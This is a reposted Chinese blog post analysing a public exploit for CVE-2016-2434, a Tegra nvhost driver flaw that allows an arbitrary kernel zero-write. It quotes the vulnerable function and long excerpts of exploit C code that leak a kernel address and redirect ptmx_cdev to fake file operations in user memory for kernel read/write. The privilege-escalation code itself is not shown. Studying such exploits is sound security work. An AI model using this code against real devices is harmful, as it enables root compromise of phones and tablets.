ICode9

精准搜索请尝试: 精确搜索
首页 > 其他分享> 文章详细

EXP学习--CVE-2016-2434

2019-10-01 12:50:25  阅读:319  来源: 互联网

标签:fops CVE PTMX fake ch EXP arg 2016 ptmx


编号: CVE-2016-2434
EXP: GitHub
EXP作者: jianqiangzhao


漏洞原理

这是同样是一个高通驱动中的权限提升漏洞,类似的漏洞还还有cve-2016-2435等几个.
代码位置:drivers/video/tegra/host/bus_client.c

1234567891011121314151617181920212223242526272829
static int (struct nvhost_channel *ch,        struct nvhost_set_error_notifier *args) {    void *va;    struct dma_buf *dmabuf;    if (!args->mem) {        dev_err(&ch->dev->dev, "invalid memory handlen");        return -EINVAL;    }    dmabuf = dma_buf_get(args->mem);    if (ch->error_notifier_ref)        nvhost_free_error_notifiers(ch);    if (IS_ERR(dmabuf)) {        dev_err(&ch->dev->dev, "Invalid handle: %dn", args->mem);        return -EINVAL;    }        va = dma_buf_vmap(dmabuf);    if (!va) {        dma_buf_put(dmabuf);        dev_err(&ch->dev->dev, "Cannot map notifier handlen");        return -ENOMEM;    }    /* set channel notifiers pointer */    ch->error_notifier_ref = dmabuf;    ch->error_notifier = va + args->offset; // args can be control    ch->error_notifier_va = va;    memset(ch->error_notifier, 0, sizeof(struct nvhost_notification));     return 0;}

函数在结尾的地方将ch->error_notifier置零,ch->error_notifier的值即va + args->offset,而args是可以被控制的。

漏洞利用

获取VA

由于置零的位置不是完全由args控制,还需要一个偏移va,首先需要确定va的值。

1234567891011121314151617181920212223242526272829303132333435363738394041
map = mmap(NULL, (size_t)0x10000000, PROT_READ|PROT_WRITE, MAP_ANONYMOUS|MAP_PRIVATE, -1, (off_t)0);      // alloc a large mem	........	if(map == MAP_FAILED) {		printf("[-] Failed to mmap landing (%d-%s)n", errno, strerror(errno));		ret = -1;		goto out;	}	printf("[+] landing mmap'ed @ %pn", map);	memset(map, 0xff, 0x10000000);      // set all mem to 0xff	fd = open("/dev/nvhost-vic", O_RDONLY);	if(fd == -1) {		printf("[-] Open nvhost-vic fail (%s - %d)n", strerror(errno), errno);		ret = -1;		goto open_vic_out;	}	printf("[+] open device nvhost-vicn");	memset(&arg, 0, sizeof(arg));	arg.mem = nvmap_handle;	arg.offset = (unsigned long)map - 0xffffff8000000000;      //adjust address with userspace start	arg.size = 0;	cmd = NVHOST_IOCTL_CHANNEL_SET_ERROR_NOTIFIER;	ret = ioctl(fd, cmd, &arg);                              // call vul ioctl 	if(ret == -1) {		printf("[-] Ioctl nvhost-vic fail(%s - %d)n", strerror(errno), errno);		goto ioctl_out;	}	for(i=0; i<0x10000000/8; i++) {                        //find zero offset .aka va		tmp = *((unsigned long*)map + i);		if(tmp == 0) {			break;		} 	}	va = 0xffffff8000000000 + i * 8;	printf("[+] va position: 0x%lxn", va);        .........

步骤:

  • 1.分配以大段内存,并全部置为ff
  • 2.调用存在漏洞的ioctl,将一部分数据置零
  • 3.查找分配内存中的0,前面部分的数据即为VA

控制ptmx_cdev

由于有PXN的限制,直接将内核函数指针指向用户地址的payload的方法不可行,需要用其他的方法。EXP将内核结构题,ptmx_cdev的地址指向用户态,控制其中的函数指针指向内核中的ROP。由于针对特地设备,内核中关键符号的地址已经hardcode在exp中。
(关于如何在内核中定位符号可以查看我之前的文章内核符号获取)

1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950
   .........   map2 = mmap((void *)0x00010000, (size_t)0x10000000, PROT_READ|PROT_WRITE, MAP_ANONYMOUS|MAP_SHARED|MAP_FIXED, -1, (off_t)0);if(map2 == MAP_FAILED) {	ret = -1;	printf("[-] shellcode mmap failed (%d-%s)n", errno, strerror(errno));	goto ioctl_out;}printf("[+] prepare fake_ptmx_fops, mmap'ed @ %p.n", map2);memset(map2, 0, 0x10000000);fake_ptmx_fops = PTMX_FOPS & 0xffffffff;                                         //fake PTMX_FOPS*(unsigned long*)(fake_ptmx_fops + 1 * 8) = PTMX_LLSEEK;*(unsigned long*)(fake_ptmx_fops + 2 * 8) = PTMX_READ;*(unsigned long*)(fake_ptmx_fops + 3 * 8) = PTMX_WRITE;*(unsigned long*)(fake_ptmx_fops + 8 * 8) = PTMX_POLL;*(unsigned long*)(fake_ptmx_fops + 9 * 8) = PTMX_IOCTL;*(unsigned long*)(fake_ptmx_fops + 10 * 8) = COMPAT_PTMX_IOCTL;*(unsigned long*)(fake_ptmx_fops + 12 * 8) = PTMX_OPEN;*(unsigned long*)(fake_ptmx_fops + 14 * 8) = PTMX_RELEASE;*(unsigned long*)(fake_ptmx_fops + 17 * 8) = PTMX_FASYNC;printf("[+] clear ptmx_cdev list firstn");memset(&arg, 0, sizeof(arg));arg.mem = nvmap_handle;arg.offset = PTMX_MISC - va + 8 * 10;arg.size = 0;																//set the high 32 bit of ptmx_fops to zerocmd = NVHOST_IOCTL_CHANNEL_SET_ERROR_NOTIFIER;                  //it will point to fake ptmx_fops in userspaceret = ioctl(fd, cmd, &arg);if(ret == -1) {	printf("[-] Ioctl nvhost-vic fail(%s - %d)n", strerror(errno), errno);	goto ioctl_out_2;}printf("[+] overwrite ptmx_cdev opsn");memset(&arg, 0, sizeof(arg));arg.mem = nvmap_handle;arg.offset = PTMX_MISC - va + 8 * 10 - 4;arg.size = 0;cmd = NVHOST_IOCTL_CHANNEL_SET_ERROR_NOTIFIER;ret = ioctl(fd, cmd, &arg);if(ret == -1) {	printf("[-] Ioctl nvhost-vic fail(%s - %d)n", strerror(errno), errno);	goto ioctl_out_2;}      ...........

步骤:

  • 1.在用户空间中部署一个伪造的ptmx_fops
  • 2.通过漏洞将内核ptmx_cdev指向用户态的伪造ptmx_fops
  • 3.修改伪造ptmx_fops中某些函数指针,指向内核中的rop,获得内核任意读写能力(这一步不在上面代码中,在使用时部署。在kernel_read_32/kernel_write_32函数中)

提权

提权部分依旧是查找cred并修改,不分析了

原文:大专栏  EXP学习--CVE-2016-2434


标签:fops,CVE,PTMX,fake,ch,EXP,arg,2016,ptmx
来源: https://www.cnblogs.com/petewell/p/11615199.html

本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享;
2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关;
3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关;
4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除;
5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。

专注分享技术,共同学习,共同进步。侵权联系[81616952@qq.com]

Copyright (C)ICode9.com, All Rights Reserved.

ICode9版权所有